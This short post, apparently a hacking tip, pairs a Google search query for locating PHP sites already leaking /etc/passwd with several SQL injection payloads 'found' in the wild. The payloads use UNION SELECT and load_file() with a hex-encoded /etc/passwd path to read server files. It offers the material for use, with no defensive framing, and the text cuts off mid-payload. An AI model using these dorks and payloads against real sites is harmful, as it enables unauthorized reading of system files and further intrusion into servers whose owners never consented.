LFI with SQL Injection

Try to search with

inurl:"*.php?*=*"+ ( inurl:"*../*" + ( inurl:"LOAD_FILE" | inurl:"UNION" | inurl:"AND" ) ) + intext:"root:x:0:0:root:/root:**"
 Example that I found

?id=-1+union+select+load_file(0x2f6574632f706173737764)%2Cload_file(0x2f6574632f706173737764)%2Cload_file(0x2f6574632f706173737764) 
?category_ID=5+AND+1=2+UNION+SELECT+load_file(0x2f6574632f706173737764)--
?id=36+UNION+all+